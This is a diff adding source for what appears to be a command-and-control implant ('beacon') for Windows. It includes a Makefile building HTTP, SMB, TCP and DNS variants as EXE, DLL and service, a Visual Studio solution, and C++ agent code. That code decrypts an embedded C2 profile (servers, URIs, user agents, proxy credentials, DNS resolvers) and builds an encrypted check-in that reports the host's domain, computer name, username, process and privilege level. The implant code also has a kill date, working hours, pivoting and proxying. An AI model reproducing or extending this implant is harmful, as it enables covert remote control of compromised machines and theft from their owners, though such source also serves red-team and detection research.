@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o
|
||||
|
||||
# Generic transport object compilation rules.
|
||||
$(HTTP_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(HTTP_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_HTTP $< -o $@
|
||||
|
||||
$(HTTP_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(HTTP_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_HTTP $< -o $@
|
||||
|
||||
$(SMB_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(SMB_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_SMB $< -o $@
|
||||
|
||||
$(SMB_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(SMB_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_SMB $< -o $@
|
||||
|
||||
$(TCP_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(TCP_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_TCP $< -o $@
|
||||
|
||||
$(TCP_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(TCP_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_TCP $< -o $@
|
||||
|
||||
$(DNS_DIST_DIR)/%.x64.o: $(BEACON_DIR)/%.cpp | $(DNS_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DNS $< -o $@
|
||||
|
||||
$(DNS_DIST_DIR)/%.x86.o: $(BEACON_DIR)/%.cpp | $(DNS_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $< -o $@
|
||||
|
||||
# Miniz requires dedicated flags and must override the generic rules.
|
||||
$(HTTP_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(HTTP_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_HTTP $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(HTTP_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(HTTP_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_HTTP $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(SMB_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(SMB_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_SMB $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(SMB_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(SMB_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_SMB $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(TCP_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(TCP_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_TCP $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(TCP_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(TCP_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_TCP $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(DNS_DIST_DIR)/miniz.x64.o: $(BEACON_DIR)/miniz.cpp | $(DNS_DIST_DIR)
|
||||
@$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
$(DNS_DIST_DIR)/miniz.x86.o: $(BEACON_DIR)/miniz.cpp | $(DNS_DIST_DIR)
|
||||
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) $< -o $@
|
||||
|
||||
clean:
|
||||
@rm -rf $(DIST_DIRS)
|
||||
|
||||
-include $(DEPS)
|
||||
@@ -0,0 +1,124 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.11.35312.102
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "beacon", "beacon\beacon.vcxproj", "{99A5F42E-60A8-4F1E-9DFF-35443B972707}"
|
||||
EndProject
|
||||
Project("{888888A0-9F3D-457C-B088-3A5042F75D52}") = "scripts", "scripts\scripts.pyproj", "{6897F9CC-8CA9-4603-9779-3052B43BD6FA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug EXE|Any CPU = Debug EXE|Any CPU
|
||||
Debug EXE|x64 = Debug EXE|x64
|
||||
Debug EXE|x86 = Debug EXE|x86
|
||||
Debug_DNS|Any CPU = Debug_DNS|Any CPU
|
||||
Debug_DNS|x64 = Debug_DNS|x64
|
||||
Debug_DNS|x86 = Debug_DNS|x86
|
||||
Debug_SMB|Any CPU = Debug_SMB|Any CPU
|
||||
Debug_SMB|x64 = Debug_SMB|x64
|
||||
Debug_SMB|x86 = Debug_SMB|x86
|
||||
Debug_TCP|Any CPU = Debug_TCP|Any CPU
|
||||
Debug_TCP|x64 = Debug_TCP|x64
|
||||
Debug_TCP|x86 = Debug_TCP|x86
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release DLL|Any CPU = Release DLL|Any CPU
|
||||
Release DLL|x64 = Release DLL|x64
|
||||
Release DLL|x86 = Release DLL|x86
|
||||
Release EXE|Any CPU = Release EXE|Any CPU
|
||||
Release EXE|x64 = Release EXE|x64
|
||||
Release EXE|x86 = Release EXE|x86
|
||||
Release SVC|Any CPU = Release SVC|Any CPU
|
||||
Release SVC|x64 = Release SVC|x64
|
||||
Release SVC|x86 = Release SVC|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|Any CPU.ActiveCfg = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|Any CPU.Build.0 = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x64.ActiveCfg = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x64.Build.0 = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x86.ActiveCfg = Debug EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug EXE|x86.Build.0 = Debug EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|Any CPU.ActiveCfg = Debug_DNS|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|Any CPU.Build.0 = Debug_DNS|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x64.ActiveCfg = Debug_DNS|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x64.Build.0 = Debug_DNS|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x86.ActiveCfg = Debug_DNS|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_DNS|x86.Build.0 = Debug_DNS|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|Any CPU.ActiveCfg = Debug_SMB|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|Any CPU.Build.0 = Debug_SMB|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x64.ActiveCfg = Debug_SMB|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x64.Build.0 = Debug_SMB|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x86.ActiveCfg = Debug_SMB|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_SMB|x86.Build.0 = Debug_SMB|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|Any CPU.ActiveCfg = Debug_TCP|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|Any CPU.Build.0 = Debug_TCP|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x64.ActiveCfg = Debug_TCP|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x64.Build.0 = Debug_TCP|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x86.ActiveCfg = Debug_TCP|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug_TCP|x86.Build.0 = Debug_TCP|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|Any CPU.ActiveCfg = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|Any CPU.Build.0 = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x64.ActiveCfg = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x64.Build.0 = Debug EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x86.ActiveCfg = Debug EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Debug|x86.Build.0 = Debug EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|Any CPU.ActiveCfg = Release DLL|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|Any CPU.Build.0 = Release DLL|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|x64.ActiveCfg = Release DLL|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release DLL|x86.ActiveCfg = Release DLL|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|Any CPU.ActiveCfg = Release EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|Any CPU.Build.0 = Release EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x64.ActiveCfg = Release EXE|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x86.ActiveCfg = Release EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release EXE|x86.Build.0 = Release EXE|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|Any CPU.ActiveCfg = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|Any CPU.Build.0 = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|x64.ActiveCfg = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release SVC|x86.ActiveCfg = Release SVC|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|Any CPU.ActiveCfg = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|Any CPU.Build.0 = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x64.ActiveCfg = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x64.Build.0 = Release SVC|x64
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x86.ActiveCfg = Release SVC|Win32
|
||||
{99A5F42E-60A8-4F1E-9DFF-35443B972707}.Release|x86.Build.0 = Release SVC|Win32
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|x64.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug EXE|x86.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|Any CPU.ActiveCfg = Debug_DNS|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|x64.ActiveCfg = Debug_DNS|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_DNS|x86.ActiveCfg = Debug_DNS|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|Any CPU.ActiveCfg = Debug_SMB|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|x64.ActiveCfg = Debug_SMB|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_SMB|x86.ActiveCfg = Debug_SMB|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|Any CPU.ActiveCfg = Debug_TCP|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|x64.ActiveCfg = Debug_TCP|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug_TCP|x86.ActiveCfg = Debug_TCP|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|x64.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release DLL|x86.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|x64.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release EXE|x86.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|x64.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release SVC|x86.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{6897F9CC-8CA9-4603-9779-3052B43BD6FA}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {94F166C1-6F3E-4F16-9407-83745A6E0C2D}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,149 @@
|
||||
#include "Agent.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "utils.h"
|
||||
#include "Packer.h"
|
||||
#include "Crypt.h"
|
||||
|
||||
void* Agent::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void Agent::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(Agent));
|
||||
}
|
||||
|
||||
Agent::Agent()
|
||||
{
|
||||
info = new AgentInfo();
|
||||
config = new AgentConfig();
|
||||
commander = new Commander(this);
|
||||
downloader = new Downloader(config->download_chunk_size);
|
||||
jober = new JobsController();
|
||||
memorysaver = new MemorySaver();
|
||||
proxyfire = new Proxyfire();
|
||||
pivotter = new Pivotter();
|
||||
|
||||
SessionKey = (PBYTE) MemAllocLocal(16);
|
||||
for (int i = 0; i < 16; i++)
|
||||
SessionKey[i] = GenerateRandom32() % 0x100;
|
||||
}
|
||||
|
||||
BOOL Agent::IsActive()
|
||||
{
|
||||
ULONG now = GetSystemTimeAsUnixTimestamp();
|
||||
return this->Active && !(this->config->kill_date && now >= this->config->kill_date);
|
||||
}
|
||||
|
||||
ULONG Agent::GetWorkingSleep()
|
||||
{
|
||||
if ( !this->config->working_time )
|
||||
return 0;
|
||||
|
||||
WORD endM = (this->config->working_time >> 0) % 64;
|
||||
WORD endH = (this->config->working_time >> 8) % 64;
|
||||
WORD startM = (this->config->working_time >> 16) % 64;
|
||||
WORD startH = (this->config->working_time >> 24) % 64;
|
||||
|
||||
ULONG newSleepTime = 0;
|
||||
SYSTEMTIME SystemTime = { 0 };
|
||||
ApiWin->GetLocalTime(&SystemTime);
|
||||
|
||||
if (SystemTime.wHour < startH) {
|
||||
newSleepTime = (startH - SystemTime.wHour) * 60 + (startM - SystemTime.wMinute);
|
||||
}
|
||||
else if (endH < SystemTime.wHour) {
|
||||
newSleepTime = (24 - SystemTime.wHour - 1) * 60 + (60 - SystemTime.wMinute);
|
||||
newSleepTime += startH * 60 + startM;
|
||||
}
|
||||
else if (SystemTime.wHour == startH && SystemTime.wMinute < startM) {
|
||||
newSleepTime = startM - SystemTime.wMinute;
|
||||
}
|
||||
else if (SystemTime.wHour == endH && endM <= SystemTime.wMinute) {
|
||||
newSleepTime = 23 * 60 + (60 + startM - SystemTime.wMinute);
|
||||
}
|
||||
else {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return newSleepTime * 60 - SystemTime.wSecond;
|
||||
}
|
||||
|
||||
BYTE* Agent::BuildBeat(ULONG* size)
|
||||
{
|
||||
BYTE flag = 0;
|
||||
flag += this->info->is_server;
|
||||
flag <<= 1;
|
||||
flag += this->info->elevated;
|
||||
flag <<= 1;
|
||||
flag += this->info->sys64;
|
||||
flag <<= 1;
|
||||
flag += this->info->arch64;
|
||||
|
||||
Packer* packer = new Packer();
|
||||
|
||||
packer->Pack32(this->config->agent_type);
|
||||
packer->Pack32(this->info->agent_id);
|
||||
packer->Pack32(this->config->sleep_delay);
|
||||
packer->Pack32(this->config->jitter_delay);
|
||||
packer->Pack32(this->config->kill_date);
|
||||
packer->Pack32(this->config->working_time);
|
||||
packer->Pack16(this->info->acp);
|
||||
packer->Pack16(this->info->oemcp);
|
||||
packer->Pack8(this->info->gmt_offest);
|
||||
packer->Pack16(this->info->pid);
|
||||
packer->Pack16(this->info->tid);
|
||||
packer->Pack32(this->info->build_number);
|
||||
packer->Pack8(this->info->major_version);
|
||||
packer->Pack8(this->info->minor_version);
|
||||
packer->Pack32(this->info->internal_ip);
|
||||
packer->Pack8( flag );
|
||||
packer->PackBytes(this->SessionKey, 16);
|
||||
packer->PackStringA(this->info->domain_name);
|
||||
packer->PackStringA(this->info->computer_name);
|
||||
packer->PackStringA(this->info->username);
|
||||
packer->PackStringA(this->info->process_name);
|
||||
|
||||
EncryptRC4(packer->data(), packer->datasize(), this->config->encrypt_key, 16);
|
||||
|
||||
MemFreeLocal((LPVOID*)&this->info->domain_name, StrLenA(this->info->domain_name));
|
||||
MemFreeLocal((LPVOID*)&this->info->computer_name, StrLenA(this->info->computer_name));
|
||||
MemFreeLocal((LPVOID*)&this->info->username, StrLenA(this->info->username));
|
||||
MemFreeLocal((LPVOID*)&this->info->process_name, StrLenA(this->info->process_name));
|
||||
|
||||
#if defined(BEACON_HTTP) || defined(BEACON_DNS)
|
||||
|
||||
ULONG beat_size = packer->datasize();
|
||||
PBYTE beat = packer->data();
|
||||
|
||||
#elif defined(BEACON_SMB)
|
||||
|
||||
ULONG beat_size = packer->datasize() + 4;
|
||||
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
|
||||
|
||||
memcpy(beat, &(this->config->listener_type), 4);
|
||||
memcpy(beat+4, packer->data(), packer->datasize());
|
||||
|
||||
PBYTE pdata = packer->data();
|
||||
MemFreeLocal((LPVOID*)&pdata, packer->datasize());
|
||||
|
||||
#elif defined(BEACON_TCP)
|
||||
|
||||
ULONG beat_size = packer->datasize() + 4;
|
||||
PBYTE beat = (PBYTE)MemAllocLocal(beat_size);
|
||||
|
||||
memcpy(beat, &(this->config->listener_type), 4);
|
||||
memcpy(beat + 4, packer->data(), packer->datasize());
|
||||
|
||||
PBYTE pdata = packer->data();
|
||||
MemFreeLocal((LPVOID*)&pdata, packer->datasize());
|
||||
|
||||
#endif
|
||||
|
||||
delete packer;
|
||||
|
||||
*size = beat_size;
|
||||
return beat;
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#pragma once
|
||||
|
||||
#include "AgentInfo.h"
|
||||
#include "AgentConfig.h"
|
||||
#include "Downloader.h"
|
||||
#include "JobsController.h"
|
||||
#include "MemorySaver.h"
|
||||
#include "Proxyfire.h"
|
||||
#include "Pivotter.h"
|
||||
#include "Commander.h"
|
||||
#include "Boffer.h"
|
||||
|
||||
class Commander;
|
||||
class Boffer;
|
||||
|
||||
class Agent
|
||||
{
|
||||
public:
|
||||
AgentInfo* info = NULL;
|
||||
AgentConfig* config = NULL;
|
||||
Commander* commander = NULL;
|
||||
Downloader* downloader = NULL;
|
||||
JobsController* jober = NULL;
|
||||
MemorySaver* memorysaver = NULL;
|
||||
Proxyfire* proxyfire = NULL;
|
||||
Pivotter* pivotter = NULL;
|
||||
Boffer* asyncBofMgr = NULL;
|
||||
|
||||
Map<CHAR*, LPVOID> Values;
|
||||
|
||||
BYTE* SessionKey = NULL;
|
||||
BOOL Active = TRUE;
|
||||
|
||||
Agent();
|
||||
|
||||
BOOL IsActive();
|
||||
ULONG GetWorkingSleep();
|
||||
BYTE* BuildBeat(ULONG* size);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,111 @@
|
||||
#include "AgentConfig.h"
|
||||
#include "Packer.h"
|
||||
#include "Crypt.h"
|
||||
#include "utils.h"
|
||||
#include "config.h"
|
||||
|
||||
void* AgentConfig::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void AgentConfig::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(AgentConfig));
|
||||
}
|
||||
|
||||
AgentConfig::AgentConfig()
|
||||
{
|
||||
ULONG length = 0;
|
||||
ULONG size = getProfileSize();
|
||||
CHAR* ProfileBytes = (CHAR*) MemAllocLocal(size);
|
||||
memcpy(ProfileBytes, getProfile(), size);
|
||||
|
||||
Packer* packer = new Packer((BYTE*)ProfileBytes, size);
|
||||
ULONG profileSize = packer->Unpack32();
|
||||
|
||||
this->encrypt_key = (PBYTE) MemAllocLocal(16);
|
||||
memcpy(this->encrypt_key, packer->data() + 4 + profileSize, 16);
|
||||
|
||||
DecryptRC4(packer->data()+4, profileSize, this->encrypt_key, 16);
|
||||
|
||||
this->agent_type = packer->Unpack32();
|
||||
this->kill_date = packer->Unpack32();
|
||||
this->working_time = packer->Unpack32();
|
||||
this->sleep_delay = packer->Unpack32();
|
||||
this->jitter_delay = packer->Unpack32();
|
||||
|
||||
#if defined(BEACON_HTTP)
|
||||
this->listener_type = packer->Unpack32();
|
||||
|
||||
this->profile.use_ssl = packer->Unpack8();
|
||||
this->profile.servers_count = packer->Unpack32();
|
||||
this->profile.servers = (BYTE**) MemAllocLocal(this->profile.servers_count * sizeof(LPVOID) );
|
||||
this->profile.ports = (WORD*) MemAllocLocal(this->profile.servers_count * sizeof(WORD) );
|
||||
for (int i = 0; i < this->profile.servers_count; i++) {
|
||||
this->profile.servers[i] = packer->UnpackBytesCopy(&length);
|
||||
this->profile.ports[i] = (WORD) packer->Unpack32();
|
||||
}
|
||||
this->profile.http_method = packer->UnpackBytesCopy(&length);
|
||||
this->profile.uri_count = packer->Unpack32();
|
||||
this->profile.uris = (BYTE**)MemAllocLocal(this->profile.uri_count * sizeof(LPVOID));
|
||||
for (ULONG i = 0; i < this->profile.uri_count; i++) {
|
||||
this->profile.uris[i] = packer->UnpackBytesCopy(&length);
|
||||
}
|
||||
this->profile.parameter = packer->UnpackBytesCopy(&length);
|
||||
this->profile.ua_count = packer->Unpack32();
|
||||
this->profile.user_agents = (BYTE**)MemAllocLocal(this->profile.ua_count * sizeof(LPVOID));
|
||||
for (ULONG i = 0; i < this->profile.ua_count; i++) {
|
||||
this->profile.user_agents[i] = packer->UnpackBytesCopy(&length);
|
||||
}
|
||||
this->profile.http_headers = packer->UnpackBytesCopy(&length);
|
||||
this->profile.ans_pre_size = packer->Unpack32();
|
||||
this->profile.ans_size = packer->Unpack32() + this->profile.ans_pre_size;
|
||||
this->profile.hh_count = packer->Unpack32();
|
||||
this->profile.host_headers = (BYTE**)MemAllocLocal(this->profile.hh_count * sizeof(LPVOID));
|
||||
for (ULONG i = 0; i < this->profile.hh_count; i++) {
|
||||
this->profile.host_headers[i] = packer->UnpackBytesCopy(&length);
|
||||
}
|
||||
this->profile.rotation_mode = (BYTE) packer->Unpack32();
|
||||
this->profile.proxy_type = (BYTE) packer->Unpack32();
|
||||
this->profile.proxy_host = packer->UnpackBytesCopy(&length);
|
||||
this->profile.proxy_port = (WORD) packer->Unpack32();
|
||||
this->profile.proxy_username = packer->UnpackBytesCopy(&length);
|
||||
this->profile.proxy_password = packer->UnpackBytesCopy(&length);
|
||||
|
||||
#elif defined(BEACON_SMB)
|
||||
this->listener_type = packer->Unpack32();
|
||||
this->profile.pipename = packer->UnpackBytesCopy(&length);
|
||||
|
||||
#elif defined(BEACON_TCP)
|
||||
this->listener_type = packer->Unpack32();
|
||||
this->profile.prepend = packer->UnpackBytesCopy(&length);
|
||||
this->profile.port = packer->Unpack32();
|
||||
|
||||
#elif defined(BEACON_DNS)
|
||||
this->listener_type = packer->Unpack32();
|
||||
this->profile.domain = packer->UnpackBytesCopy(&length);
|
||||
this->profile.resolvers = packer->UnpackBytesCopy(&length);
|
||||
this->profile.doh_resolvers = packer->UnpackBytesCopy(&length);
|
||||
this->profile.qtype = packer->UnpackBytesCopy(&length);
|
||||
this->profile.pkt_size = packer->Unpack32();
|
||||
this->profile.label_size = packer->Unpack32();
|
||||
this->profile.ttl = packer->Unpack32();
|
||||
this->profile.encrypt_key = this->encrypt_key;
|
||||
this->profile.burst_enabled = packer->Unpack32();
|
||||
this->profile.burst_sleep = packer->Unpack32();
|
||||
this->profile.burst_jitter = packer->Unpack32();
|
||||
this->profile.dns_mode = packer->Unpack32();
|
||||
this->profile.user_agent = packer->UnpackBytesCopy(&length);
|
||||
#endif
|
||||
|
||||
#if defined(BEACON_DNS)
|
||||
this->download_chunk_size = 0x8000; // 32 KB
|
||||
#else
|
||||
this->download_chunk_size = 0x19000; // ~100KB
|
||||
#endif
|
||||
|
||||
delete packer;
|
||||
MemFreeLocal((LPVOID*)&ProfileBytes, size);
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef PROFILE_STRUCT
|
||||
#define PROFILE_STRUCT
|
||||
|
||||
// Proxy type definitions
|
||||
#define PROXY_TYPE_NONE 0
|
||||
#define PROXY_TYPE_HTTP 1
|
||||
#define PROXY_TYPE_HTTPS 2
|
||||
|
||||
typedef struct {
|
||||
ULONG servers_count;
|
||||
BYTE** servers;
|
||||
WORD* ports;
|
||||
BOOL use_ssl;
|
||||
BYTE* http_method;
|
||||
ULONG uri_count;
|
||||
BYTE** uris;
|
||||
BYTE* parameter;
|
||||
ULONG ua_count;
|
||||
BYTE** user_agents;
|
||||
BYTE* http_headers;
|
||||
ULONG ans_pre_size;
|
||||
ULONG ans_size;
|
||||
ULONG hh_count;
|
||||
BYTE** host_headers;
|
||||
BYTE rotation_mode; // 0=sequential, 1=random
|
||||
BYTE proxy_type; // 0=none, 1=http, 2=https
|
||||
BYTE* proxy_host;
|
||||
WORD proxy_port;
|
||||
BYTE* proxy_username;
|
||||
BYTE* proxy_password;
|
||||
} ProfileHTTP;
|
||||
|
||||
typedef struct {
|
||||
BYTE* pipename;
|
||||
} ProfileSMB;
|
||||
|
||||
typedef struct {
|
||||
BYTE* prepend;
|
||||
WORD port;
|
||||
} ProfileTCP;
|
||||
|
